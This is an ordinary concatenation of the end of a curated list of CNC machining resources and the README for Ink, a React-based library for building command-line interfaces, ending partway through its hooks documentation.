- [Shopbot Desktop](http://www.shopbottools.com/mproducts/desktop.htm)
#### DIY Machines
- [OpenBuilds](https://openbuilds.com): thousands of projects built on a standard inventory using aluminium extrusions
- [Workbee](https://openbuilds.com/builds/openbuilds-workbee-1510.7189/): large format
- [C-beam XL](https://openbuilds.com/builds/c-beam-machine-xlarge.3675/): medium size
- [Minimill](https://openbuilds.com/builds/openbuilds-minimill.5087/)
- [Fabricatable Machines](https://github.com/fellesverkstedet/fabricatable-machines): large selection of open-source machines where most parts are made on a CNC.
- [Maslow](https://www.maslowcnc.com/): vertical large-format cnc project.
- [Open source extra large CNC](http://fablab.ruc.dk/open-source-extra-large-cnc/): danish fablab making large format cnc machines out of wood.
- [Cyclone PCB Factory](https://github.com/carlosgs/Cyclone-PCB-Factory): mostly 3D-printed CNC machine
### Accessories
Electronics
- [GRBL Shield](https://www.synthetos.com/project/grblshield/): an Arduino shield with external Pololu drivers, good for beginners
- [TinyG](https://synthetos.myshopify.com/products/tinyg): multi-axis motion control system.
- [USBCNC](https://cncdrive.com/UCCNC.html): usb and ethernet control boards with great proprietary control software.
- [Planet CNC](https://planet-cnc.com/hardware/): usb control board.
- [GeckoDrive CNC Controllers](https://www.geckodrive.com/): professional CNC controls and drivers.
- [Beaglebone Machinekit](http://blog.machinekit.io/p/hardware-capes.html): linux realtime control board with shield.
- [Smoothieboard](http://smoothieware.org/smoothieboard): general purpose controller, mostly suited for 3D printing.
- [Parallel Breakout boards](https://www.cnccookbook.com/cnc-breakout-boards/): connected with a parallel port to a PC that runs Linux CNC as the controller
### Parts
TODO: Spindles, Motors, Sensors, Accessories, Milling bits
### Suppliers
- [Motedis](https://motedis.com): aluminium extrusions, cnc parts, fittings
### Theory
G-Code language
- [NIST G-Code guidelines](http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.15.7813)
- [G-Code Commands](http://www.linuxcnc.org/docs/2.5/html/gcode/gcode.html)
- [RML-1 Programming Guideline](https://itp.nyu.edu/classes/cdp-spring2014/files/2014/09/RML1_Manual.pdf): Manual for programming RML G-code for Roland Milling machines
Feeds and speed calculators
- [Using Chip Load calculations to improve cutting](http://www.shopbottools.com/mTechShop/files/ChipLoad_inch.pdf): by Shopbot, a chip load cheatsheet
- [Shopbot Feeds and Speeds Chart](http://s3.amazonaws.com/fablab-uc/handbooks/files/000/000/012/original/Feeds_and_Speeds_Chart.pdf?1457118600): chart for all the tools in the shopbot catalogue
- [Carbide Feed and Speed Charts](https://www.the-carbide-end-mill-store.com/42.html): charts for Carbide milling bits
Toolpath strategies
- [Peel milling](https://makeitfrommetal.com/trochoidal-and-peel-milling/)
- Trochoidal milling:
- [Feeds and speeds](https://www.cnccookbook.com/trochoidal-milling-feeds-speeds/)
- [Introduction to Trochoidal Milling](https://www.harveyperformance.com/in-the-loupe/introduction-trochoidal-milling/)
- [A Trochoidal milling boost](https://www.aero-mag.com/a-trochoidal-milling-boost/)
- [The new evolution in Trochoidal milling](https://www.wnt.com/uk/news-about/the-new-evolution-in-trochoidal-milling-853.html)
- [Slicing and trochoidal milling](https://www.sandvik.coromant.com/en-us/knowledge/milling/milling-holes-cavities-pockets/pages/slicing-trochoidal-milling.aspx)
- [Trochoidal milling and other milling technique paths](https://www.practicalmachinist.com/vb/cnc-machining/trochoidal-milling-other-milling-technique-paths-267045/): thread on practicalmachinist.com about trochoidal milling
- [Trochoidal machining for the high-speed milling of pockets](https://www.sciencedirect.com/science/article/pii/S0924013616300310): paper by Wu Shixiong et al.
- [Trochoidal milling](https://www.sciencedirect.com/science/article/pii/S0890695506001891): paper by M.Otkur, I.Lazoglu.
- [Trochoidal milling: investigation of a new approach on uncut chip thickness modeling and cutting force simulation in an alternative path planning strategy](https://link.springer.com/article/10.1007/s00170-018-1967-0): paper by Farbod Akhavan Niaki
### Books
Online
- [CNC Cookbook](https://www.cnccookbook.com/)
- [Autodesk Foundamental of CNC Machining](https://www.autodesk.com/campaigns/cnc-handbook): free book by autodesk covering Fusion CAM
- [UM10349: TORMACH PCNC 1100 SERIES 3 OPERATOR MANUAL FOR PATHPILOT](https://www.tormach.com/support/wpdmpro/um10349-pcnc1100-manual-0916a-web/): Manual for the popular PCCNC by Tormac
- [Fanuc Manuals](http://cncmanual.com/fanuc/): Manual for professional CNC Machines
- [SIEMENS Manuals](https://cache.industry.siemens.com/dl/files/554/74475554/att_56792/v1/PGsl_0313_en_en-US.pdf): Programming guide for Siemens NC Gcode
Paper / eBooks
- [Design for CNC: Furniture Projects and Fabrication Technique](https://www.amazon.com/Design-CNC-Furniture-Fabrication-Technique/dp/1457187426): by former Fab Academy instructor Anna Kaziunas France
- [CNC Programming Handbook](https://www.amazon.in/CNC-Programming-Handbook-Peter-Smid/dp/0831133473/ref=sr_1_2?s=books&ie=UTF8&qid=1551464074&sr=1-2&keywords=cnc+programming+hand): by Peter Smid, the authoritative book on the subject for professionals
- [CNC Trade Secrets: A Guide to CNC Machine Shop Practices](https://www.amazon.com/CNC-Trade-Secrets-Machine-Practices-ebook/dp/B00PQK0JM8): by James A. Harvey, lots of succint tips, recommended for beginners
## Wildcard week
### Digital Embroidery
- [Ink/Stitch](https://inkstitch.org/) Open source Inkscape plugin for digital embroidery
- [SophieSew](http://sophiesew.com/SS2/) Free embroidery design software
## Related Awesome Lists
- [Awesome Search](https://awesomelists.top/): search all awesome lists
- [Awesome Project Management](https://github.com/brianjking/awesome-project-management)
- [Awesome Arduino](https://github.com/Lembed/Awesome-arduino)
- [Awesome 3D Printing](https://github.com/ad-si/awesome-3d-printing)
- [Awesome VCS Tools](https://github.com/postpdm/awesome-vcs-tools)
- [Awesome Electronics](https://github.com/kitspace/awesome-electronics)
- [Open Electronics](https://github.com/intajay/open-electronics)
- [Awesome Fabrication](https://github.com/ad-si/awesome-fabrication)
## Other link collections
- [Shapeoko Software list](https://wiki.shapeoko.com/index.php/Software)
## Contribute
Contributions welcome! Read the [contribution guidelines](contributing.md) first.
## License
[](http://creativecommons.org/publicdomain/zero/1.0)
To the extent possible under law, original author has waived all copyright and
related or neighboring rights to this work.
|
<h1 align="center">
<br>
<br>
<img width="200" alt="Ink" src="media/logo.png">
<br>
<br>
<br>
</h1>
> React for CLIs. Build and test your CLI output using components.
[](https://github.com/vadimdemedes/ink/actions)
[](https://npmjs.com/package/ink)
Ink provides the same component-based UI building experience that React offers in the browser, but for command-line apps.
It uses [Yoga](https://github.com/facebook/yoga) to build Flexbox layouts in the terminal, so most CSS-like props are available in Ink as well.
If you are already familiar with React, you already know Ink.
Since Ink is a React renderer, it means that all features of React are supported.
Head over to [React](https://reactjs.org) website for documentation on how to use it.
Only Ink's methods will be documented in this readme.
**Note:** This is documentation for Ink 3. If you're looking for docs on Ink 2, check out [this release](https://github.com/vadimdemedes/ink/tree/v2.7.1). There's also a [migration guide](migrate.md) from Ink 2 available.
## Install
```
$ npm install ink react
```
## Usage
```jsx
import React, {useState, useEffect} from 'react';
import {render, Text} from 'ink';
const Counter = () => {
const [counter, setCounter] = useState(0);
useEffect(() => {
const timer = setInterval(() => {
setCounter(previousCounter => previousCounter + 1);
}, 100);
return () => {
clearInterval(timer);
};
}, []);
return <Text color="green">{counter} tests passed</Text>;
};
render(<Counter />);
```
<img src="media/demo.svg" width="600">
You can also check it out live on [repl.it sandbox](https://ink-counter-demo.vadimdemedes.repl.run/).
Feel free to play around with the code and fork this repl at [https://repl.it/@vadimdemedes/ink-counter-demo](https://repl.it/@vadimdemedes/ink-counter-demo).
## Who's Using Ink?
- [Gatsby](https://www.gatsbyjs.org) - Gatsby is a modern web framework for blazing fast websites.
- [tap](https://node-tap.org) - A Test-Anything-Protocol library for JavaScript.
- [Yarn 2](https://yarnpkg.com) - Fast, reliable, and secure dependency management for JavaScript.
- [Terraform CDK](https://github.com/hashicorp/terraform-cdk) - CDK (Cloud Development Kit) for HashiCorp Terraform.
- [Twilio's SIGNAL](https://github.com/twilio-labs/plugin-signal2020) - CLI for Twilio's SIGNAL conference. [Blog post](https://www.twilio.com/blog/building-conference-cli-in-react).
- [Typewriter](https://github.com/segmentio/typewriter) - Generates strongly-typed [Segment](https://segment.com) analytics clients from arbitrary JSON Schema.
- [Prisma](https://www.prisma.io) - The unified data layer for modern applications.
- [Wallace](https://www.projectwallace.com) - Pretty CSS analytics on the CLI.
- [Blitz](https://blitzjs.com) - The Fullstack React Framework.
- [New York Times](https://github.com/nytimes/kyt) - NYT uses Ink `kyt` - a toolkit that encapsulates and manages the configuration for web apps.
- [tink](https://github.com/npm/tink) - Next-generation runtime and package manager.
- [loki](https://github.com/oblador/loki) - Visual Regression Testing for Storybook.
- [Bit](https://github.com/teambit/bit) - Build, distribute and collaborate on components.
- [Remirror](https://github.com/remirror/remirror) - Your friendly, world-class editor toolkit.
- [Prime](https://github.com/birkir/prime) - Open source GraphQL CMS.
- [Splash](https://github.com/Shopify/polaris-react/tree/master/scripts/splash) - Observe the splash zone of a change across the Shopify's [Polaris](https://polaris.shopify.com) component library.
- [emoj](https://github.com/sindresorhus/emoj) - Find relevant emoji on the command-line.
- [emma](https://github.com/maticzav/emma-cli) - Terminal assistant to find and install npm packages.
- [swiff](https://github.com/simple-integrated-marketing/swiff) - Multi-environment command line tools for time-saving web developers.
- [share](https://github.com/marionebl/share-cli) - Quickly share files from your command line.
- [Kubelive](https://github.com/ameerthehacker/kubelive) - CLI for Kubernetes to provide live data about the cluster and its resources.
- [changelog-view](https://github.com/jdeniau/changelog-view) - Tool view changelog in console.
- [cfpush](https://github.com/mamachanko/cfpush) - An interactive Cloud Foundry tutorial in your terminal.
- [startd](https://github.com/mgrip/startd) - Turn your React component into a web app from the command-line.
- [wiki-cli](https://github.com/hexrcs/wiki-cli) - Search Wikipedia and read summaries directly in your terminal.
- [garson](https://github.com/goliney/garson) - Build interactive config-based command-line interfaces.
- [git-contrib-calendar](https://github.com/giannisp/git-contrib-calendar) - Display a contributions calendar for any git repository.
- [gitgud](https://github.com/GitGud-org/GitGud) - An interactive command-line GUI for Git.
- [Autarky](https://github.com/pranshuchittora/autarky) - An interactive CLI to find and delete old `node_modules` directories in order to free up disk space.
## Contents
- [Getting Started](#getting-started)
- [Components](#components)
- [`<Text>`](#text)
- [`<Box>`](#box)
- [`<Newline>`](#newline)
- [`<Spacer>`](#spacer)
- [`<Static>`](#static)
- [`<Transform>`](#transform)
- [Hooks](#hooks)
- [`useInput`](#useinputinputhandler-options)
- [`useApp`](#useapp)
- [`useStdin`](#usestdin)
- [`useStdout`](#usestdout)
- [`useStderr`](#usestderr)
- [`useFocus`](#usefocusoptions)
- [`useFocusManager`](#usefocusmanager)
- [API](#api)
- [Testing](#testing)
- [Using React Devtools](#using-react-devtools)
- [Useful Components](#useful-components)
- [Useful Hooks](#useful-hooks)
- [Examples](#examples)
## Getting Started
Use [create-ink-app](https://github.com/vadimdemedes/create-ink-app) to quickly scaffold a new Ink-based CLI.
```
$ mkdir my-ink-cli
$ cd my-ink-cli
$ npx create-ink-app
```
Alternatively, create a TypeScript project:
```
$ npx create-ink-app --typescript
```
<details><summary>Manual setup</summary>
<p>
Ink requires the same Babel setup as you would do for regular React-based apps in the browser.
Set up Babel with a React preset to ensure all examples in this readme work as expected.
After [installing Babel](https://babeljs.io/docs/en/usage), install `@babel/preset-react` and insert the following configuration in `babel.config.json`:
```
$ npm install --save-dev @babel/preset-react
```
```json
{
"presets": [
"@babel/preset-react",
[
"@babel/preset-env",
{
"targets": {
"node": true
}
}
]
]
}
```
Next, create a file `source.js`, where you'll type code that uses Ink:
```jsx
import React from 'react';
import {render, Text} from 'ink';
const Demo = () => <Text>Hello World</Text>;
render(<Demo />);
```
Then, transpile this file with Babel:
```
$ npx babel source.js -o cli.js
```
Now you can run `cli.js` with Node.js:
```
$ node cli
```
If you don't like transpiling files during development, you can use [import-jsx](https://github.com/vadimdemedes/import-jsx) to `require()` a JSX file and transpile it on the fly.
</p>
</details>
Ink uses [Yoga](https://github.com/facebook/yoga) - a Flexbox layout engine to build great user interfaces for your CLIs using familiar CSS-like props you've used when building apps for the browser.
It's important to remember that each element is a Flexbox container.
Think of it as if each `<div>` in the browser had `display: flex`.
See [`<Box>`](#box) built-in component below for documentation on how to use Flexbox layouts in Ink.
Note that all text must be wrapped in a [`<Text>`](#text) component.
## Components
### `<Text>`
This component can display text, and change its style to make it bold, underline, italic or strikethrough.
```jsx
import {render, Text} from 'ink';
const Example = () => (
<>
<Text color="green">I am green</Text>
<Text color="black" backgroundColor="white">
I am black on white
</Text>
<Text color="#ffffff">I am white</Text>
<Text bold>I am bold</Text>
<Text italic>I am italic</Text>
<Text underline>I am underline</Text>
<Text strikethrough>I am strikethrough</Text>
<Text inverse>I am inversed</Text>
</>
);
render(<Example />);
```
**Note:** `<Text>` allows only text nodes and nested `<Text>` components inside of it. For example, `<Box>` component can't be used inside `<Text>`.
#### color
Type: `string`
Change text color.
Ink uses [chalk](https://github.com/chalk/chalk) under the hood, so all its functionality is supported.
```jsx
<Text color="green">Green</Text>
<Text color="#005cc5">Blue</Text>
<Text color="rgb(232, 131, 136)">Red</Text>
```
<img src="media/text-color.jpg" width="247">
#### backgroundColor
Type: `string`
Same as `color` above, but for background.
```jsx
<Text backgroundColor="green" color="white">Green</Text>
<Text backgroundColor="#005cc5" color="white">Blue</Text>
<Text backgroundColor="rgb(232, 131, 136)" color="white">Red</Text>
```
<img src="media/text-backgroundColor.jpg" width="226">
#### dimColor
Type: `boolean`\
Default: `false`
Dim the color (emit a small amount of light).
```jsx
<Text color="red" dimColor>
Dimmed Red
</Text>
```
<img src="media/text-dimColor.jpg" width="138">
#### bold
Type: `boolean`\
Default: `false`
Make the text bold.
#### italic
Type: `boolean`\
Default: `false`
Make the text italic.
#### underline
Type: `boolean`\
Default: `false`
Make the text underlined.
#### strikethrough
Type: `boolean`\
Default: `false`
Make the text crossed with a line.
#### inverse
Type: `boolean`\
Default: `false`
Inverse background and foreground colors.
```jsx
<Text inverse color="yellow">
Inversed Yellow
</Text>
```
<img src="media/text-inverse.jpg" width="138">
#### wrap
Type: `string`\
Allowed values: `wrap` `truncate` `truncate-start` `truncate-middle` `truncate-end`\
Default: `wrap`
This property tells Ink to wrap or truncate text if its width is larger than container.
If `wrap` is passed (by default), Ink will wrap text and split it into multiple lines.
If `truncate-*` is passed, Ink will truncate text instead, which will result in one line of text with the rest cut off.
```jsx
<Box width={7}>
<Text>Hello World</Text>
</Box>
//=> 'Hello\nWorld'
// `truncate` is an alias to `truncate-end`
<Box width={7}>
<Text wrap="truncate">Hello World</Text>
</Box>
//=> 'Hello…'
<Box width={7}>
<Text wrap="truncate-middle">Hello World</Text>
</Box>
//=> 'He…ld'
<Box width={7}>
<Text wrap="truncate-start">Hello World</Text>
</Box>
//=> '…World'
```
### `<Box>`
`<Box>` is an essential Ink component to build your layout.
It's like `<div style="display: flex">` in the browser.
```jsx
import {render, Box, Text} from 'ink';
const Example = () => (
<Box margin={2}>
<Text>This is a box with margin</Text>
</Box>;
);
render(<Example />);
```
#### Dimensions
##### width
Type: `number` `string`
Width of the element in spaces.
You can also set it in percent, which will calculate the width based on the width of parent element.
```jsx
<Box width={4}>
<Text>X</Text>
</Box>
//=> 'X '
```
```jsx
<Box width={10}>
<Box width="50%">
<Text>X</Text>
</Box>
<Text>Y</Text>
</Box>
//=> 'X Y'
```
##### height
Type: `number` `string`
Height of the element in lines (rows).
You can also set it in percent, which will calculate the height based on the height of parent element.
```jsx
<Box height={4}>
<Text>X</Text>
</Box>
//=> 'X\n\n\n'
```
```jsx
<Box height={6} flexDirection="column">
<Box height="50%">
<Text>X</Text>
</Box>
<Text>Y</Text>
</Box>
//=> 'X\n\n\nY\n\n'
```
##### minWidth
Type: `number`
Sets a minimum width of the element.
Percentages aren't supported yet, see https://github.com/facebook/yoga/issues/872.
##### minHeight
Type: `number`
Sets a minimum height of the element.
Percentages aren't supported yet, see https://github.com/facebook/yoga/issues/872.
#### Padding
##### paddingTop
Type: `number`\
Default: `0`
Top padding.
##### paddingBottom
Type: `number`\
Default: `0`
Bottom padding.
##### paddingLeft
Type: `number`\
Default: `0`
Left padding.
##### paddingRight
Type: `number`\
Default: `0`
Right padding.
##### paddingX
Type: `number`\
Default: `0`
Horizontal padding. Equivalent to setting `paddingLeft` and `paddingRight`.
##### paddingY
Type: `number`\
Default: `0`
Vertical padding. Equivalent to setting `paddingTop` and `paddingBottom`.
##### padding
Type: `number`\
Default: `0`
Padding on all sides. Equivalent to setting `paddingTop`, `paddingBottom`, `paddingLeft` and `paddingRight`.
```jsx
<Box paddingTop={2}>Top</Box>
<Box paddingBottom={2}>Bottom</Box>
<Box paddingLeft={2}>Left</Box>
<Box paddingRight={2}>Right</Box>
<Box paddingX={2}>Left and right</Box>
<Box paddingY={2}>Top and bottom</Box>
<Box padding={2}>Top, bottom, left and right</Box>
```
#### Margin
##### marginTop
Type: `number`\
Default: `0`
Top margin.
##### marginBottom
Type: `number`\
Default: `0`
Bottom margin.
##### marginLeft
Type: `number`\
Default: `0`
Left margin.
##### marginRight
Type: `number`\
Default: `0`
Right margin.
##### marginX
Type: `number`\
Default: `0`
Horizontal margin. Equivalent to setting `marginLeft` and `marginRight`.
##### marginY
Type: `number`\
Default: `0`
Vertical margin. Equivalent to setting `marginTop` and `marginBottom`.
##### margin
Type: `number`\
Default: `0`
Margin on all sides. Equivalent to setting `marginTop`, `marginBottom`, `marginLeft` and `marginRight`.
```jsx
<Box marginTop={2}>Top</Box>
<Box marginBottom={2}>Bottom</Box>
<Box marginLeft={2}>Left</Box>
<Box marginRight={2}>Right</Box>
<Box marginX={2}>Left and right</Box>
<Box marginY={2}>Top and bottom</Box>
<Box margin={2}>Top, bottom, left and right</Box>
```
#### Flex
##### flexGrow
Type: `number`\
Default: `0`
See [flex-grow](https://css-tricks.com/almanac/properties/f/flex-grow/).
```jsx
<Box>
<Text>Label:</Text>
<Box flexGrow={1}>
<Text>Fills all remaining space</Text>
</Box>
</Box>
```
##### flexShrink
Type: `number`\
Default: `1`
See [flex-shrink](https://css-tricks.com/almanac/properties/f/flex-shrink/).
```jsx
<Box width={20}>
<Box flexShrink={2} width={10}>
<Text>Will be 1/4</Text>
</Box>
<Box width={10}>
<Text>Will be 3/4</Text>
</Box>
</Box>
```
##### flexBasis
Type: `number` `string`
See [flex-basis](https://css-tricks.com/almanac/properties/f/flex-basis/).
```jsx
<Box width={6}>
<Box flexBasis={3}>
<Text>X</Text>
</Box>
<Text>Y</Text>
</Box>
//=> 'X Y'
```
```jsx
<Box width={6}>
<Box flexBasis="50%">
<Text>X</Text>
</Box>
<Text>Y</Text>
</Box>
//=> 'X Y'
```
##### flexDirection
Type: `string`\
Allowed values: `row` `row-reverse` `column` `column-reverse`
See [flex-direction](https://css-tricks.com/almanac/properties/f/flex-direction/).
```jsx
<Box>
<Box marginRight={1}>
<Text>X</Text>
</Box>
<Text>Y</Text>
</Box>
// X Y
<Box flexDirection="row-reverse">
<Text>X</Text>
<Box marginRight={1}>
<Text>Y</Text>
</Box>
</Box>
// Y X
<Box flexDirection="column">
<Text>X</Text>
<Text>Y</Text>
</Box>
// X
// Y
<Box flexDirection="column-reverse">
<Text>X</Text>
<Text>Y</Text>
</Box>
// Y
// X
```
##### alignItems
Type: `string`\
Allowed values: `flex-start` `center` `flex-end`
See [align-items](https://css-tricks.com/almanac/properties/a/align-items/).
```jsx
<Box alignItems="flex-start">
<Box marginRight={1}>
<Text>X</Text>
</Box>
<Text>
A
<Newline/>
B
<Newline/>
C
</Text>
</Box>
// X A
// B
// C
<Box alignItems="center">
<Box marginRight={1}>
<Text>X</Text>
</Box>
<Text>
A
<Newline/>
B
<Newline/>
C
</Text>
</Box>
// A
// X B
// C
<Box alignItems="flex-end">
<Box marginRight={1}>
<Text>X</Text>
</Box>
<Text>
A
<Newline/>
B
<Newline/>
C
</Text>
</Box>
// A
// B
// X C
```
##### alignSelf
Type: `string`\
Default: `auto`\
Allowed vales: `auto` `flex-start` `center` `flex-end`
See [align-self](https://css-tricks.com/almanac/properties/a/align-self/).
```jsx
<Box height={3}>
<Box alignSelf="flex-start">
<Text>X</Text>
</Box>
</Box>
// X
//
//
<Box height={3}>
<Box alignSelf="center">
<Text>X</Text>
</Box>
</Box>
//
// X
//
<Box height={3}>
<Box alignSelf="flex-end">
<Text>X</Text>
</Box>
</Box>
//
//
// X
```
##### justifyContent
Type: `string`\
Allowed values: `flex-start` `center` `flex-end` `space-between` `space-around`
See [justify-content](https://css-tricks.com/almanac/properties/j/justify-content/).
```jsx
<Box justifyContent="flex-start">
<Text>X</Text>
</Box>
// [X ]
<Box justifyContent="center">
<Text>X</Text>
</Box>
// [ X ]
<Box justifyContent="flex-end">
<Text>X</Text>
</Box>
// [ X]
<Box justifyContent="space-between">
<Text>X</Text>
<Text>Y</Text>
</Box>
// [X Y]
<Box justifyContent="space-around">
<Text>X</Text>
<Text>Y</Text>
</Box>
// [ X Y ]
```
#### Visibility
##### display
Type: `string`\
Allowed values: `flex` `none`\
Default: `flex`
Set this property to `none` to hide the element.
#### Borders
##### borderStyle
Type: `string`\
Allowed values: `single` `double` `round` `bold` `singleDouble` `doubleSingle` `classic`
Add a border with a specified style.
If `borderStyle` is `undefined` (which it is by default), no border will be added.
Ink uses border styles from [`cli-boxes`](https://github.com/sindresorhus/cli-boxes) module.
```jsx
<Box flexDirection="column">
<Box>
<Box borderStyle="single" marginRight={2}>
<Text>single</Text>
</Box>
<Box borderStyle="double" marginRight={2}>
<Text>double</Text>
</Box>
<Box borderStyle="round" marginRight={2}>
<Text>round</Text>
</Box>
<Box borderStyle="bold">
<Text>bold</Text>
</Box>
</Box>
<Box marginTop={1}>
<Box borderStyle="singleDouble" marginRight={2}>
<Text>singleDouble</Text>
</Box>
<Box borderStyle="doubleSingle" marginRight={2}>
<Text>doubleSingle</Text>
</Box>
<Box borderStyle="classic">
<Text>classic</Text>
</Box>
</Box>
</Box>
```
<img src="media/box-borderStyle.jpg" width="521">
See example in [examples/borders](examples/borders/borders.js).
##### borderColor
Type: `string`
Change border color.
Accepts the same values as [`color`](#color) in `<Text>` component.
```jsx
<Box borderStyle="round" borderColor="green">
<Text>Green Rounded Box</Text>
</Box>
```
<img src="media/box-borderColor.jpg" width="228">
### `<Newline>`
Adds one or more newline (`\n`) characters.
Must be used within `<Text>` components.
#### count
Type: `number`\
Default: `1`
Number of newlines to insert.
```jsx
import {render, Text, Newline} from 'ink';
const Example = () => (
<Text>
<Text color="green">Hello</Text>
<Newline />
<Text color="red">World</Text>
</Text>
);
render(<Example />);
```
Output:
```
Hello
World
```
### `<Spacer>`
A flexible space that expands along the major axis of its containing layout.
It's useful as a shortcut for filling all the available spaces between elements.
For example, using `<Spacer>` in a `<Box>` with default flex direction (`row`) will position "Left" on the left side and will push "Right" to the right side.
```jsx
import {render, Box, Text, Spacer} from 'ink';
const Example = () => (
<Box>
<Text>Left</Text>
<Spacer />
<Text>Right</Text>
</Box>
);
render(<Example />);
```
In a vertical flex direction (`column`), it will position "Top" to the top of the container and push "Bottom" to the bottom of it.
Note, that container needs to be tall to enough to see this in effect.
```jsx
import {render, Box, Text, Spacer} from 'ink';
const Example = () => (
<Box flexDirection="column" height={10}>
<Text>Top</Text>
<Spacer />
<Text>Bottom</Text>
</Box>
);
render(<Example />);
```
### `<Static>`
`<Static>` component permanently renders its output above everything else.
It's useful for displaying activity like completed tasks or logs - things that
are not changing after they're rendered (hence the name "Static").
It's preferred to use `<Static>` for use cases like these, when you can't know
or control the amount of items that need to be rendered.
For example, [Tap](https://github.com/tapjs/node-tap) uses `<Static>` to display
a list of completed tests. [Gatsby](https://github.com/gatsbyjs/gatsby) uses it
to display a list of generated pages, while still displaying a live progress bar.
```jsx
import React, {useState, useEffect} from 'react';
import {render, Static, Box, Text} from 'ink';
const Example = () => {
const [tests, setTests] = useState([]);
useEffect(() => {
let completedTests = 0;
let timer;
const run = () => {
// Fake 10 completed tests
if (completedTests++ < 10) {
setTests(previousTests => [
...previousTests,
{
id: previousTests.length,
title: `Test #${previousTests.length + 1}`
}
]);
setTimeout(run, 100);
}
};
run();
return () => {
clearTimeout(timer);
};
}, []);
return (
<>
{/* This part will be rendered once to the terminal */}
<Static items={tests}>
{test => (
<Box key={test.id}>
<Text color="green">✔ {test.title}</Text>
</Box>
)}
</Static>
{/* This part keeps updating as state changes */}
<Box marginTop={1}>
<Text dimColor>Completed tests: {tests.length}</Text>
</Box>
</>
);
};
render(<Example />);
```
**Note:** `<Static>` only renders new items in `items` prop and ignores items
that were previously rendered. This means that when you add new items to `items`
array, changes you make to previous items will not trigger a rerender.
See [examples/static](examples/static/static.js) for an example usage of `<Static>` component.
#### items
Type: `Array`
Array of items of any type to render using a function you pass as a component child.
#### style
Type: `object`
Styles to apply to a container of child elements.
See [`<Box>`](#box) for supported properties.
```jsx
<Static items={...} style={{padding: 1}}>
{...}
</Static>
```
#### children(item)
Type: `Function`
Function that is called to render every item in `items` array.
First argument is an item itself and second argument is index of that item in
`items` array.
Note that `key` must be assigned to the root component.
```jsx
<Static items={['a', 'b', 'c']}>
{(item, index) => {
// This function is called for every item in ['a', 'b', 'c']
// `item` is 'a', 'b', 'c'
// `index` is 0, 1, 2
return (
<Box key={index}>
<Text>Item: {item}</Text>
</Box>
);
}}
</Static>
```
### `<Transform>`
Transform a string representation of React components before they are written to output.
For example, you might want to apply a [gradient to text](https://github.com/sindresorhus/ink-gradient), [add a clickable link](https://github.com/sindresorhus/ink-link) or [create some text effects](https://github.com/sindresorhus/ink-big-text).
These use cases can't accept React nodes as input, they are expecting a string.
That's what `<Transform>` component does, it gives you an output string of its child components and lets you transform it in any way.
**Note:** `<Transform>` must be applied only to `<Text>` children components and shouldn't change the dimensions of the output, otherwise layout will be incorrect.
```jsx
import {render, Transform} from 'ink';
const Example = () => (
<Transform transform={output => output.toUpperCase()}>
<Text>Hello World</Text>
</Transform>
);
render(<Example />);
```
Since `transform` function converts all characters to upper case, final output that's rendered to the terminal will be "HELLO WORLD", not "Hello World".
#### transform(children)
Type: `Function`
Function which transforms children output.
It accepts children and must return transformed children too.
##### children
Type: `string`
Output of child components.
## Hooks
### useInput(inputHandler, options?)
This hook is used for handling user input.
It's a more convenient alternative to using `useStdin` and listening to `data` events.
The callback you pass to `useInput` is called for each character when user enters any input.
However, if user pastes text and it's more than one character, the callback will be called only once and the whole string will be passed as `input`.
You can find a full example of using `useInput` at [examples/use-input](examples/use-input/use-input.js).
```jsx
import {useInput} from 'ink';
const UserInput = () => {
useInput((input, key) => {
if (input === 'q') {
// Exit program
}
if (key.leftArrow) {
// Left arrow key pressed
}
});
return …
};
```
#### inputHandler(input, key)
Type: `Function`
The handler function that you pass to `useInput` receives two arguments:
##### input
Type: `string`
The input that the program received.
##### key
Type: `object`
Handy information about a key that was pressed.
###### key.leftArrow
###### key.rightArrow
###### key.upArrow
###### key.downArrow
Type: `boolean`\
Default: `false`
If an arrow key was pressed, the corresponding property will be `true`.
For example, if user presses left arrow key, `key.leftArrow` equals `true`.
###### key.return
Type: `boolean`\
Default: `false`
Return (Enter) key was pressed.
###### key.escape
Type: `boolean`\
Default: `false`
Escape key was pressed.
###### key.ctrl
Type: `boolean`\
Default: `false`
Ctrl key was pressed.
###### key.shift
Type: `boolean`\
Default: `false`
Shift key was pressed.
###### key.tab
Type: `boolean`\
Default: `false`
Tab key was pressed.
###### key.backspace
Type: `boolean`\
Default: `false`
Backspace key was pressed.
###### key.delete
Type: `boolean`\
Default: `false`
Delete key was pressed.
###### key.pageDown
###### key.pageUp
Type: `boolean`\
Default: `false`
If Page Up or Page Down key was pressed, the corresponding property will be `true`.
For example, if user presses Page Down, `key.pageDown` equals `true`.
###### key.meta
Type: `boolean`\
Default: `false`
[Meta key](https://en.wikipedia.org/wiki/Meta_key) was pressed.
#### options
Type: `object`
##### isActive
Type: `boolean`\
Default: `true`
Enable or disable capturing of user input.
Useful when there are multiple `useInput` hooks used at once to avoid handling the same input several times.
### useApp()
`useApp` is a React hook, which exposes a method to manually exit the app (unmount).
#### exit(error?)
Type: `Function`
Exit (unmount) the whole Ink app.
##### error
Type: `Error`
Optional error. If passed, [`waitUntilExit`](waituntilexit) will reject with that error.
```js
import {useApp} from 'ink';
const Example = () => {
const {exit} = useApp();
// Exit the app after 5 seconds
useEffect(() => {
setTimeout(() => {
exit();
}, 5000);
}, []);
return …
};
```
### useStdin()
`useStdin` is a React hook, which exposes stdin stream.
#### stdin
Type: `stream.Readable`\
Default: `process.stdin`
Stdin stream passed to `render()` in `options.stdin` or `process.stdin` by default.
Useful if your app needs to handle user input.
```js
import {useStdin} from 'ink';
const Example = () => {
const {stdin} = useStdin();
return …
};
```
#### isRawModeSupported
Type: `boolean`
A boolean flag determining if the current `stdin` supports `setRawMode`.
A component using `setRawMode` might want to use `isRawModeSupported` to nicely fall back in environments where raw mode is not supported.
```jsx
import {useStdin} from 'ink';
const Example = () => {
const {isRawModeSupported} = useStdin();
return isRawModeSupported ? (
<MyInputComponent />
) : (
<MyComponentThatDoesntUseInput />
);
};
```
#### setRawMode(isRawModeEnabled)
Type: `function`
##### isRawModeEnabled
Type: `boolean`
See [`setRawMode`](https://nodejs.org/api/tty.html#tty_readstream_setrawmode_mode).
Ink exposes this function to be able to handle <kbd>Ctrl</kbd>+<kbd>C</kbd>, that's why you should use Ink's `setRawMode` instead of `process.stdin.setRawMode`.
**Warning:** This function will throw unless the current `stdin` supports `setRawMode`. Use [`isRawModeSupported`](#israwmodesupported) to detect `setRawMode` support.
```js
import {useStdin} from 'ink';
const Example = () => {
const {setRawMode} = useStdin();
useEffect(() => {
setRawMode(true);
return () => {
setRawMode(false);
};
});
return …
};
```
### useStdout()
